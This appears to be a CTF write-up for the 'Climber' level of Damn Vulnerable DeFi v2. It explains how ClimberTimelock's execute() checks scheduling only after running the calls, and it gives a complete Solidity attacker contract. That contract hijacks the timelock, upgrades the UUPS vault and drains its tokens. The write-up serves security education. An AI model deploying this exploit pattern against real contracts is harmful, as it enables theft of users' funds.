12.Climber
2023-07-20 16:20:56 # 05.Damn Vulnerable DeFi v2 CTF

Climber

analyse

1.overview

There are a lot of contract:

  • ClimberTimelock: controls the ClimberVault
  • ClimberVault: holds the asset and uses UUPS pattern
  • UUPS, etc. : UUPS pattern

In this level, our goal is to get the entire money in the ClimberVault

2.analyses

We can get the entire money by sweepFunds() while it can be called only by ClimberTimelock and transfers to ClimberTimelock . But we can upgrade the contract because of UUPS pattern.

ClimberTimelock contract is important since it holds a lot of authority. In this level, there is some problem with execute() which we can exploit. In normal situation, the execution is that: call schedule() first, and then call execute(). schedule() can only be called by PROPOSER_ROLE but everyone can call execute().

So we, a normal member, not PROPOSER_ROLE, can exploit execute(). In this function, it executes functionCallWithValue() first which contains call() in address.sol library and then check if operations[id].executed = true; that only can be set in schedule(). It means everyone can call execute with the proposals containing making our proposals true.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function execute(
address[] calldata targets,
uint256[] calldata values,
bytes[] calldata dataElements,
bytes32 salt
) external payable {
require(targets.length > 0, "Must provide at least one target");
require(targets.length == values.length);
require(targets.length == dataElements.length);

bytes32 id = getOperationId(targets, values, dataElements, salt);

for (uint8 i = 0; i < targets.length; i++) {
targets[i].functionCallWithValue(dataElements[i], values[i]);
}

require(getOperationState(id) == OperationState.ReadyForExecution);
operations[id].executed = true;
}

So our idea is that:

  1. make delay to zero so that we can attack right now.
  2. grant PROPOSER_ROLE to attack contract
  3. upgrade climbervalut which contains a new sweepFunds(). and this new sweepFunds() can be call by the attack contract and send money to the attack contract.

solutions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "../climber/ClimberTimelock.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../climber/ClimberVault.sol";

contract ClimberAttacker is UUPSUpgradeable{
ClimberTimelock immutable timelock;
address immutable vaultProxyAddress;
IERC20 immutable token;
address immutable attacker;

constructor(ClimberTimelock _timelock, address _vaultProxyAddress,IERC20 _token){
timelock = _timelock;
vaultProxyAddress = _vaultProxyAddress;
token = _token;
attacker = msg.sender;
}

function buildProposal() internal returns(address[]memory,uint256[]memory,bytes[]memory){
address[] memory targets = new address[](5);
uint256[] memory values = new uint256[](5);
bytes[] memory dataElements = new bytes[](5);

//upgrade delay to zero
targets[0] = address(timelock);
values[0] = 0;
dataElements[0] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector,0);

// grant our attack contract PROPOSER_ROLE
targets[1] = address(timelock);
values[1] = 0;
dataElements[1] = abi.encodeWithSelector(AccessControl.grantRole.selector,timelock.PROPOSER_ROLE(),address(this));

// execute our malicious proposal
targets[2] = address(this);
values[2] = 0;
dataElements[2] = abi.encodeWithSelector(ClimberAttacker.scheduleProposal.selector);

// upgrade our implementation contract: climbervault
targets[3] = address(vaultProxyAddress);
values[3] = 0;
dataElements[3] = abi.encodeWithSelector(UUPSUpgradeable.upgradeTo.selector,address(this));

// get the money
targets[4] = address(vaultProxyAddress);
values[4] = 0;
dataElements[4] = abi.encodeWithSelector(ClimberAttacker.sweepFunds.selector);

return (targets,values,dataElements);

}

// schedule our malicious proposal
function scheduleProposal()external {
(address[] memory targets,uint256[] memory values,bytes[] memory dataElements) = buildProposal();
timelock.schedule(targets, values, dataElements, 0);
}

// execute our malicious proposal
function executeProposal() external {
(address[] memory targets,uint256[] memory values,bytes[] memory dataElements) = buildProposal();
timelock.execute(targets, values, dataElements, 0);
}

// exploit the money
function sweepFunds()external {
token.transfer(attacker,token.balanceOf(address(this)));
}

// must override this function, because it is an interface
function _authorizeUpgrade(address newImplementation) internal override {}

}